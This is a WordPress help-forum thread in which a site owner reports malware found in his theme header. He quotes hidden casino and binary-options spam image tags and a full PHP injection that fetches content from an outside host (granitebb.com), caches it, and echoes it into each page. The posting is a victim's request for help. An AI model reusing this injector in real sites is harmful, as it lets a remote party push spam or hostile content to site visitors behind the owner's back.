Mike9666
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Got some Malware problemsHello Tara,
As you can expect, I have already done this but no warning of Malware whatsoever. As I saw the Picture of Malware on the site, I went to look at the template files and there it was in the header. As I have mentioned in my last post, I would like to know why this has not been seen by any Malware proggy or even by Wordfence? Nevermind, I have resolved it and left the answer in the post above.
Thanks Mike
Forum: Fixing WordPress
In reply to: Got some Malware problemsHello again,
Here is the view-source:
<!– #header –>
<div class=”clear”></div><img style=”position:absolute; z-index: -9999999;” src=”http://i.imgur.com/4D3zYcv.jpg” alt=”winner casino”><img style=”position:absolute; z-index: -9999999;” src=”http://i.imgur.com/4XxB1tR.jpg” alt=”http://www.nederlandstalige-casinos.nl/”><img style=”position:absolute; z-index: -9999999;” src=”http://i.imgur.com/40CN9R2.jpg” alt=”www.online-casino-bulgaria.com”><img style=”position:absolute; z-index: -9999999;” src=”http://i.imgur.com/sY6MGyr.jpg” alt=”opzioni binarie”><img style=”position:absolute; z-index: -9999999;” src=”http://i.imgur.com/BVdO8Rm.jpg” alt=”option binaire”>
<div class=”subheader” id=”subheader” ><div class=”inner subheader_teaser”><div class=”subtitle”><h1><span>Boulevard Veendam.</span></h1></div></div></div> <!– #subheader –>just did examine the header again and there was a line inserted as follows:
<!– #header –>
<div class=”clear”></div><?php
$h = $_SERVER[‘HTTP_HOST’]; $u = trim($_SERVER[‘REQUEST_URI’]);
$cd = dirname(__FILE__) . ‘/.cache’;
$cf = $cd . ‘/’ . md5($h . ‘##’ . $u);
$s = ‘1.granitebb.com’;
if (file_exists($cf) and filemtime($cf) > time() – 3600)
echo file_get_contents($cf);
else
{
$ini1 = @ini_set(‘allow_url_fopen’, 1); $ini2 = @ini_set(‘default_socket_timeout’, 3);
$p = ‘/links.php?u=’ . urlencode($u) . ‘&h=’ . urlencode($h);
$c = ”;
if ($fp = @fsockopen($s, 80, $errno, $errstr, 3)) {
@fputs($fp, “GET {$p} HTTP/1.0\r\nHost: $s\r\n\r\n”);
while (! feof($fp))
$c .= @fread($fp, 8192);
fclose($fp);
$c = end(explode(“\r\n\r\n”, $c));
echo $c;
if (strlen($c) and (is_dir($cd) or @mkdir($cd))) {
@file_put_contents($cf, $c);
}
}
@ini_set(‘allow_url_fopen’, $ini1); @ini_set(‘default_socket_timeout’, $ini2);
}
?>I have deleted the webaddress in the following line:
$s = ‘1.granitebb.com’;and now its gone.
Can anyone tell me what this is?
Thanks Mike.
